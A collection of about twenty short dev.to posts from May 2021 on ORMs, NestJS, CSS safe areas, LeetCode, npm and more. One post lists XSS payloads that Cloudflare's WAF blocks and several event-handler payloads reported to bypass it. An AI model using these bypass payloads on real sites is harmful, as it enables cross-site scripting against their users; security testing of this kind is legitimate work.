teleren/devto huggingface dataset:
To ORM or not to ORM is the Question!
Tags: python, orm, sql, database
Published: 2021-05-21 07:18:08

The decision of using an ORM library such as SQLAlchemy, Doctrine, django-orm, etc. or just choosing a database instead and using it with raw `SQL` queries is quite a considerable dilemma which many engineers face and requires much of pondering on a case to case basis.

Both approaches have their pros and cons. On one hand, ORM gives you the flexibility to replace the backend database at your whim any time in the project lifecycle. Did you make a mistake with SQLite and your transactions are growing now? No worries, just configure the MySQL database driver in your ORM and problem solved!

But on the other hand, it ties your hand and restricts you to just basic CRUD operations and you must work with certain assumptions when it comes to interacting with the database. Want to quickly extract the "month" part of a `DateTime` field and sort your reports according to it? Want to split a `text` or `varchar` field based on a certain character or convert a `float` to `int`? These seemingly simple tasks may require lots of Googling and sometimes even hackish workarounds depending on which ORM you are using! But with raw SQL queries, this becomes very easy as almost all the various dialects of `SQLite`, `MySQL`, `PostgreSQL`, etc. support a built-in function for doing such things.

And then there are those who find "in-between" solutions. They use raw SQL for these one-off tasks and keep that dialect specific code in a separate module or class so maintaining them becomes easier. Another approach is to have an additional "DB Layer" class or module to interact with your database instead of using an ORM.

And yet another consideration is speed and performance. As you start scaling your application in both size and number of concurrent users, you might feel tempted to get rid of the ORM overhead. But there are many large platforms which use ORM without feeling the performance brunt of it. Reddit, for example, still uses `SQLAlchemy` to the best of my knowledge.

Which approach do you prefer and why? Let me know in the comments below!
JavaScript with let | var | const
Tags: javascript, let, var, es6
Published: 2021-05-21 07:17:15

Hello friends,

I wrote a post to help you to identify let, var and const keywords in JavaScript. This will help you to differentiate the three keywords and to know where to use them. 

More information can be read from the link give bellow,
https://thavarajahpraveena.medium.com/3-ways-to-declare-variables-in-javascript-91cbdf447aa5
A nice NestJs GraphQL init module
Tags: nestjs, auth, errors, graphql
Published: 2021-05-21 07:04:40

---
title: A nice NestJs GraphQL init module
published: true
description: 
tags: nestjs, auth, errors, graphql
cover_image: https://d33wubrfki0l68.cloudfront.net/b48d3f70dffd76bf3152ad04e2cbb1261ef589c9/header.1af6756a.png
---

This is as much of a placeholder for myself as anything but this snippet gives you a nice graphql module for nestjs that has authentication provided via the context. It also handles error formatting and hides all the excess data if the platform is production

```
 GraphQLModule.forRoot({
      autoSchemaFile: join(process.cwd(), 'src/schema.gql'),
      sortSchema: true,
      installSubscriptionHandlers: true,
      debug: false,
      context: ({ req }) => {
        return {
          request: req,
        };
      },
      formatError: (error) => {
        if (error.extensions.exception.status === 404)
          throw new NotFoundException();
        if (process.env.NODE_ENV === 'production')
          return { message: error.message };
        return error;
      },
    }),
```
Connect your app to Microsoft 365 with just 4 lines of code
Tags: javascript, webdev, productivity, microsoftgraph
Published: 2021-05-22 13:15:21

---
title: Connect your app to Microsoft 365 with just 4 lines of code
published: true
date: 2021-05-21 06:46:52 UTC
tags: javascript,webdev,productivity,microsoftgraph
canonical_url: https://blog.mastykarz.nl/connect-app-microsoft-365-4-lines-code/
---

![Connect your app to Microsoft 365 with just 4 lines of code](https://blog.mastykarz.nl/assets/images/2021/05/mgt-announcement.jpeg)

Using Microsoft Graph Toolkit is the easiest way to connect your app to Microsoft 365. Toolkit's components and authentication providers abstract away implementing authentication, managing access tokens, building and executing requests to Microsoft Graph and handling exceptions. All that, so that you can focus on what truly matters - adding value to your users.

How much does Microsoft Graph Toolkit simplify connecting apps to Microsoft Graph? - you might ask. You can build an app showing events from your calendar on Microsoft 365 with just four additional lines of code. I'm not exaggerating! And this is just one example!

The team behind Microsoft Graph Toolkit has just released a new version of the toolkit (v2.2) with some significant features and improvements:

- new file components that allow you to easily show files stored in Microsoft 365 in your app
- new MSAL 2 provider with support for PKCE. This is very important because PKCE is considered more secure than the OAuth implicit flow we had to use previously.
- improved support for SharePoint Framework solutions. You can now use MGT v2.2 in your web parts and extensions without any limitations

If you want to know more about the latest release, check out the [announcement](https://developer.microsoft.com/microsoft-365/blogs/announcing-new-file-components-msal-2-provider-and-sharepoint-framework-library-in-microsoft-graph-toolkit/?WT.mc_id=m365-29185-wmastyka). And if you didn't have a chance to try MGT yet, I'd strongly recommend that you take the [MGT learning path](https://docs.microsoft.com/learn/paths/m365-msgraph-toolkit/?WT.mc_id=m365-29185-wmastyka) on MS Learn.

Do you use Microsoft Graph Toolkit yet? What do you think of it? Let me know!
Safely position fixed content on newer mobile devices
Tags: css
Published: 2021-05-21 06:05:04

If we want to position fixed content safely on a mobile device that has a notch and/or a home bar, such as the iPhone X or iPhone 12, we need to take into account the safe area of the device. This is especially important if we have interactive elements, such as links or buttons, in the content. Luckily, there's a CSS property that can help us!

Let's say we're creating a cookie consent that contains a link.

```html
<div class="cookie-consent">
  <p>By using this app you consent to our usage of cookies.</p>
  <a href="#">I understand</a>
</div>
```

```css
.cookie-consent {
  background-color: #fff;
  bottom: 0px;
  left: 0px;
  padding: 20px;
  position: fixed;
  right: 0px;
}
```

If we don't add any specific spacing the link would fall below the safe area and it wouldn't be clickable.

![User hasn't scrolled and the link is clickable](https://willcodefor.beer/assets/without-safe-area.png)<small>The user hasn't scrolled, link is clickable.</small>

 ![User has scrolled and the link is below the safe area and not clickable](https://willcodefor.beer/assets/without-safe-area-scrolled.png)<small>Scrolled, link is below safe area and not clickable.</small>

The padding needed to move the content above the safe area can vary between devices, but here's where the magic CSS property comes to the rescue. We just need one line to fix this on every device:

```css
.cookie-consent {
  /* Previous content... */
  padding-bottom: calc(env(safe-area-inset-bottom) + 20px);
}
```

 ![User hasn't scrolled and the link is clickable](https://willcodefor.beer/assets/with-safe-area.png)<small>The user hasn't scrolled, link is clickable.</small>

 ![User has scrolled and the link is above the safe area and is clickable](https://willcodefor.beer/assets/with-safe-area-scrolled.png)<small>Scrolled, link is <em>above</em> safe area and is clickable.</small>

> There's also `safe-area-inset-top`, `safe-area-inset-right`, and `safe-area-inset-left` if you have content that needs to be adjusted for other directions

This uses [environment variables](https://developer.mozilla.org/en-US/docs/Web/CSS/env()), `safe-area-inset-bottom` in this case, that are provided in the browser and adds that to the padding we already had.

The browser support for this is [very good](https://caniuse.com/css-env-function) and it should be supported on all devices that require the adjustment.
[meson , ninja] install 
Tags: ubuntu
Published: 2021-05-21 05:17:57

# ninja download
```
git clone https://github.com/ninja-build/ninja
```
#### ninja build & install 
```
./configure.py --bootstrap
```




# meson download
```
git clone https://github.com/mesonbuild/meson
```
#### Look at the tag name in the git log and check out at the time of release of the version. ex (git checkout 0.41.1 )

```
sudo python3 setup.py install
```
5/20 TIL: Go Social Media Login
Published: 2021-05-21 04:58:38

For the social media login:

- Create a req variable by passing in the login API url to the http.NewRequest()
```
var req = http.NewRequest("GET", {url}, nil)
```
- Add the `Bearer {accessToken}` to the Authorization header
```
req.Headers.Add(("Authorization", "Bearer " + accessToken)
```
- Pass that req variable into the Client.Do() and store the response in the response variable
```
var res = Client.Do(req)
```
- Create a struct with an ID field to store the value returned from the response
```
type socialResponse struct {
    ID int `json:"id"`
}
```
- json.NewDecoder(response.Body).Decode(&socialResponse) to pass the json data into our struct
Best Discord plugins
Published: 2021-05-21 04:55:52

There are hundreds of plugins that can be used as addon on your Discord server. But finding the best Plugins which can make your server reliable and engaging, is, sometimes hard.

And that's the reason we have written this post to help you to choose the best plugins which you can use in your Discord server.

The name of the plugins are:

1. Friend Notifications
2. Call Time Recorder
3. Friend Count

The above are some useful better discord plugins.

If you wish to read the full guide about it you can visit the below website.

https://techspit.com/better-discord-plugins
https://techspit.com/discord-themes
https://techspit.com/discord-spoiler
https://techspit.com/discord-markdown-text
https://techspit.com/dyno-bot
https://techspit.com/groovy-bot
https://techspit.com/Rhythm-bot

The above links are the best and knowledgeable articles that will provide the answer to all your queries regarding discord
XSS BYPASS HARD CLOUDFLARE WAF SOLUTION
Tags: cybersecurity, xss, waf, ethicalhacking
Published: 2021-05-21 04:52:42


## Problems
Input : "/**/ONX=""/**/ONFOCUS=prompt()>
Respond : Blocked 

Input : "%01onfocus=test>
Respond : blocked 

Input : "%2501onfocus=>
Respond : blocked 

Input : "test=[1].map(confirm)>
Respond : blocked 

Input : "test=[1].map%26%2300000000000040;1)>
Respond : Blocked 

.
.






## Solutions :

Input : "onx=() onmouseover=prompt(1)>
Respond : pop up appears 

Input : " onxXxxXXxXXXxx=() autofocus onmouseover=prompt(1)>
Respond : pop up appears 

Input : "onx={} onmouseover=prompt(1)>
Respons : pop up appears 

Input : "onx=[] onmouseover=prompt(1)>
Respond : pop up appears 

Etc
Laravel 8 Generate PDF Example Tutorial
Tags: laravel, php, programming, tutorial
Published: 2021-05-21 04:39:56

<p>Hi Guys,</p>
<p>In this tutorial, I will learn you how to generate pdf using dompdf in laravel 8 application. I will share with you how to create pdf file from html design in laravel 8. We will use dompdf(barryvdh/laravel-dompdf package) for generate pdf file with laravel 8 project. i write tutorial step by step to html design to generate pdf in laravel 8 application.</p>

<p>PDF is one of rudimentary requisite when you are working with erp level project or ecommerce website. we may need to engender pdf file for report or invoice etc. So, here i will give you very simple example for engender pdf file with laravel 8.</p>

<p>in this example, we will install barryvdh/laravel-dompdf composer package and then after we will integrate incipient route with incipient controller file. Then we will engender one example blade file. Then after you have to just run project and visually perceive pdf file for download. You require to just follow few steps and get rudimental example of pdf file.</p>
more..

if you want to see full example follow this link..

https://codingtracker.blogspot.com/2021/05/laravel-8-generate-pdf-example-tutorial.html
My Tech Startup story 
Tags: node, javascript, mongodb
Published: 2021-05-21 04:28:46

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hw2mnue9npbxcmw6cv2u.jpg)
Months ago, I desired to learn a new programming language(nodejs). I loved it because of one single feature- it is asynchronous! which means no matter the amount of request it receives at the same time its response speed is never affected(no down time). Also, Facebook, Netflix, bookings.com and other renowned tech companies had migrated to it. I told a friend who was a Developer to put me through, but he hadn't time for me. so i launched a self taught program. Fast forward  a few Months later, i did not just learn the language, I now have a tech startup that supports other tech companies to accelerate  the integration of this seamless application.
lesson: never give up. what does not kill you makes you stronger.
Https://www.intelhubtech.com
Responsive Navbar with only HTML and CSS
Tags: css, html, codenewbie, todayilearned
Published: 2021-05-21 04:20:28

Yes, you can make a responsive navbar with only HTML and CSS. Let's learn how?

First of all, you have to create an HTML file with these codes.

![Responsive navbar HTML code](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z0iz9sbz8prbwutit75n.png)

In this HTML file, I have created a nav tag for navigation I that I have separated into elements first is menu links which is visible by default on the desktop screen and second is the square box which will visible on small screen devices to hide/show the menu links in smartphone screens.

---

I have used `<section></section>` tag to add a huge image to cover the blank screen of the device.

That's it for the HTML code.

---
{% link https://dev.to/atulcodex/open-source-portfolio-template-2a97 %}
---

`@import url('https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,200;0,400;0,600;1,200&display=swap');`

By this line of code, I'm getting 'Poppins' font family from [google font](https://fonts.google.com/)

---
Now i just you to play around with this codepen project

NOTE: `~` this is if else condition 

{% codepen https://codepen.io/atulcodex/pen/ZEeBNgr %}
LeetCode 219. Contains Duplicate II
(javascript solution)
Tags: algorithms, javascript
Published: 2021-05-21 04:13:41

###Description:
Given an integer array nums and an integer k, return true if there are two distinct indices i and j in the array such that nums[i] == nums[j] and abs(i - j) <= k.

###Solution:
Time Complexity : O(n)
Space Complexity: O(n)

```javascript
var containsNearbyDuplicate = function(nums, k) {
  const map = new Map();
  for (let i = 0; i < nums.length; i++) {
    // Check if the difference betweend duplicates is less than k
    if (i - map.get(nums[i]) <= k) {
      return true;
    }
    map.set(nums[i], i);
  }
  return false;
};
```
What do you think about strongly-annotated HTML?
Tags: html, webdev, watercooler
Published: 2021-05-21 04:12:38

I want to know what you all think about strongly-annotated HTML?
Let me know!
<br/>
<br/>
<b><h1><b>What is strongly-annotated HTML?</b></h1></b>
Strongly-annotated HTML is where you don't leave any optional attributes unset, even if they have a default value.
E.g.
```html
<!DOCTYPE html>

<html lang="en-US" dir="ltr">
  <head>
    <title>Hello!</title>
    <style language="css" type="text/css">
      /* ... */
    </style>
    <link href="./icon.png" type="image/png" rel="icon"/>
    <link language="css" href="./_.css" type="text/css" rel="stylesheet"/>
  </head>
  <body>
    <p>Hello World!</p>
    <img type="image/png" alt="An image of Katty." src="./katty.png"/>
  </body>
</html>
```
An example of non-annotated HTML:
```html
<!DOCTYPE html>

<html lang="en">
  <head>
    <title>Hello!</title>
    <style>
      /* ... */
    </style>
    <link href="./icon.png" rel="icon"/>
    <link href="./_.css" rel="stylesheet"/>
  </head>
  <body>
    <p>Hello World!</p>
    <img alt="An image of Katty." src="./katty.png"/>
  </body>
</html>
```
LeetCode 217. Contains Duplicate
(javascript solution)
Tags: algorithms, javascript
Published: 2021-05-21 04:06:03

###Description:
Given an integer array nums, return true if any value appears at least twice in the array, and return false if every element is distinct.

###Solution:
Time Complexity : O(n)
Space Complexity: O(n)

```javascript
var containsDuplicate = function(nums) {
    const map = {}
    for(const num of nums) {
        // If we have seen this num before return true
        if(map[num]) return true
        map[num] = true
    }
    return false
};
```
Create a npm project and install typescript dependency
Tags: typescript, javascript
Published: 2021-05-21 03:27:22

Type of package installation with npm:
<b>npm install -g packageName</b> Install global
<b>npm install --save -dev pacakgeName</b> Install locally
<b>npm install --save packageName</b> Install locally
when run <b>npm install --production</b> or env variable NODE_ENV value is production, only packages in dependencies will be install, but packages in devDependencies will not.
```shell
npm install -g packageName
npm install --save-dev packageName
npm install --save packageName
```

Create a new folder for this project
run <b>npm init</b> in the work folder above mentioned
```shell
npm init
```
after we run <b>npm init</b>, we will get a new file named <b>package.json</b>,the file content as bellow:
```json
{
  "name": "typescript-learn",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC"
}
```
now we should insert code line <b>  "type": "module",</b> in <b>package.json </b> to support ES5

After we insert the new code line ,the <b>package.json</b> as bellow:
```json
{
  "name": "typescript-learn",
  "version": "1.0.0",
  "description": "",
  "type": "module",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC"
}

```

note: let the browser support ES5 ，we can insert line as bellow:
```html
<script type="module" src="xxxxx.js"></script>
```

Now, we will install typescript dependency:
npm install typescript --save-dev



This demo location: code-repo/learn-test/typescript-learn
Git link:
Needs help
Published: 2021-05-21 03:02:59

I am computer science graduate from Ghana. After college things have not been easy at all.I am currently frustrated, depressed and hopeless. I don't know what to do in this life.
I used to love programming in my college days but because of financial challenges after school I couldn't continue practicing.

I am interested in becoming full stack developer. I need  direction,guidance and someone who will mentor me.
Map Stream - Live view of ArcGIS Online Maps
Tags: maps, arcgis
Published: 2021-05-21 02:22:12

---
title: Map Stream - Live view of ArcGIS Online Maps
published: true
description: A web app that shows the most recently updated public web maps in ArcGIS Online.
tags: maps, arcgis
cover_image: https://gavinr.com/posts/images/map-stream-live-stream-arcgis-online-maps.png
canonical_url: https://gavinr.com/map-stream/
---

[Map Stream](https://map-stream.gavinr.com/) is a web app showing a live stream of newly-updated public maps on ArcGIS Online. 

The interesting thing about watching everything stream by is the variety: topic, location, age, popularity. Just about anything can pop up.

Built with Svelte, the source code is public: [github.com/gavinr/map-stream](https://github.com/gavinr/map-stream).

Check it out: [**map-stream.gavinr.com**](https://map-stream.gavinr.com/)
May 20th, 2021: What did you learn this week?
Tags: weeklylearn, discuss, weeklyretro
Published: 2021-05-21 01:53:43

It's that time of the week again. So wonderful devs, what did you learn this week? It could be programming tips, career advice etc.

<center>

![A picture it a dog waving their paw with the caption “Learning, cool at school or at home”](https://media.giphy.com/media/1xpm1nTQiRL96Di3Q6/giphy.gif)
</center>

Feel free to comment with what you learnt and/or reference your TIL post to give it some more exposure.

{%tag todayilearned %}

And remember, if something you learnt was a big win for you, then you know where to drop it as well.👇👇🏻👇🏼👇🏽👇🏾👇🏿

{% link https://dev.to/devteam/what-was-your-win-this-week-3lce %}

<center>

![Drama from Entourage screaming “Victory!”](https://media.giphy.com/media/lnlAifQdenMxW/giphy.gif)
</center>
Criteria to choose a Magento theme. 
Published: 2021-05-21 01:11:46


A Magento theme is indeed very suitable for e-commerce businesses. However, before choosing any themes for your website, you might want to look at some criteria, so that you can have an optimal choice for your e-commerce website
In here, i will help you figure out the most important factors to consider.
- Overall design
- User experience
- Responsiveness"
http://arrowtheme.com/
Definindo uma cobertura mínima de testes no Jest
Tags: test, jest, testing
Published: 2021-05-21 00:30:38

---
title: Definindo uma cobertura mínima de testes no Jest
published: true
description: Como facilitar a vida com uma configuração muito simples
tags: test, jest, testing
cover_image: https://images.unsplash.com/photo-1558763861-5ae1a46775d7
---

Imagine que você que cobriu o seu fluxo mais importante com testes, sua cobertura ta em 85% e você ta feliz da vida, algum tempo depois esse fluxo sofre algumas mudanças, a cobertura de testes cai e ninguém repara. Como esse é o fluxo mais importante da sua aplicação é importante que ele tenha uma cobertura mínima de testes, e com essas mudanças a cobertura acaba ficando longe de ser boa...

Existe uma configuração no Jest que faz essa validação de cobertura automaticamente. Pra entender como ela funciona e como é configurada é só ler o artigo que eu fiz no meu blog:

http://evellynlima.com.br/definindo-uma-cobertura-minima-de-testes-no-jest/

---

#### Links úteis

- [Foto tirada por Claudio Schwarz](https://unsplash.com/@purzlbaum)